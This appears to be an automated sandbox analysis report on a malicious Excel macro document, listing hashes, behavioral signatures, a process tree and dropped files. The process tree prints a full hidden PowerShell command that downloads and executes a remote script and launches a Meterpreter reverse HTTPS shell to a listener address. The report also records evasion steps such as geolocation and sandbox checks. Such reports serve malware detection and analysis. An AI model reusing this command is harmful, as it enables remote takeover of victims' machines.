Analysis
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max time kernel
46s -
max time network
15s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
04-07-2024 21:14
Behavioral task
behavioral1
Sample
54c31192614180e8a0b6ab14671407ce2bfe264e233f25b2455cd3f435e8d30f.xls
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
54c31192614180e8a0b6ab14671407ce2bfe264e233f25b2455cd3f435e8d30f.xls
Resource
win10v2004-20240704-en
General
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Target
54c31192614180e8a0b6ab14671407ce2bfe264e233f25b2455cd3f435e8d30f.xls
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Size
35KB
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MD5
a69904f12a2f66aafdfec78695ec7d52
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SHA1
e663f556817dd9cb4aff8bc0745916143c4b1773
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SHA256
54c31192614180e8a0b6ab14671407ce2bfe264e233f25b2455cd3f435e8d30f
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SHA512
6e8560e7b07375d1a8c37ff6d05e09f77dc5c63feff0b3ee35fc44e324465626870735794160c5935c4b78eacf3f891a6af89f29a606cf67846bc04dea8122f1
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SSDEEP
768:ztvoeyUk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJOWuPid93:rTk3hbdlylKsgqopeJBWhZFGkE+cL2Ni
Malware Config
Extracted
https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4408 3608 powershell.exe 81 Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3556 936 wscript.exe 80 -
Blocklisted process makes network request 2 IoCs
flow pid Process 8 3768 powershell.exe 9 4408 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 3768 powershell.exe 4408 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1015551233-1106003478-1645743776-1000\Control Panel\International\Geo\Nation wscript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 9 raw.githubusercontent.com 7 raw.githubusercontent.com 8 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 936 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4408 powershell.exe 4408 powershell.exe 3768 powershell.exe 3768 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4408 powershell.exe Token: SeDebugPrivilege 3768 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 936 EXCEL.EXE 936 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 936 EXCEL.EXE 936 EXCEL.EXE 936 EXCEL.EXE 936 EXCEL.EXE 936 EXCEL.EXE 936 EXCEL.EXE 936 EXCEL.EXE 936 EXCEL.EXE 936 EXCEL.EXE 936 EXCEL.EXE 936 EXCEL.EXE 936 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 936 wrote to memory of 3556 936 EXCEL.EXE 86 PID 936 wrote to memory of 3556 936 EXCEL.EXE 86 PID 3556 wrote to memory of 3768 3556 wscript.exe 87 PID 3556 wrote to memory of 3768 3556 wscript.exe 87
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\54c31192614180e8a0b6ab14671407ce2bfe264e233f25b2455cd3f435e8d30f.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Windows\SYSTEM32\wscript.exewscript C:\Users\Public\config.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3556 -
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3768
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4408
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize4KB
MD58644dcc8f71c58834853beeae32ef073
SHA14408211371db84fed60f873f309279f1ea502508
SHA2569f6038a8e52d075905b3eee1877a695c88160c1bdc41bba3085dfe30e294b44e
SHA51246a1a68f737f51ad32d4c52da36b5b69768c09dc777087e203bf14635cff27457cacd37a2c55c6132b4c9042c6997a17c1dd531958ff41eaa6b9be7da9c1ecba
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Filesize
461B
MD5ce52ab154163c511f0efa6a61e22ab64
SHA19f12cc215e15802eddcb02cb5370ef16b21fa3a6
SHA256df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
SHA512cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78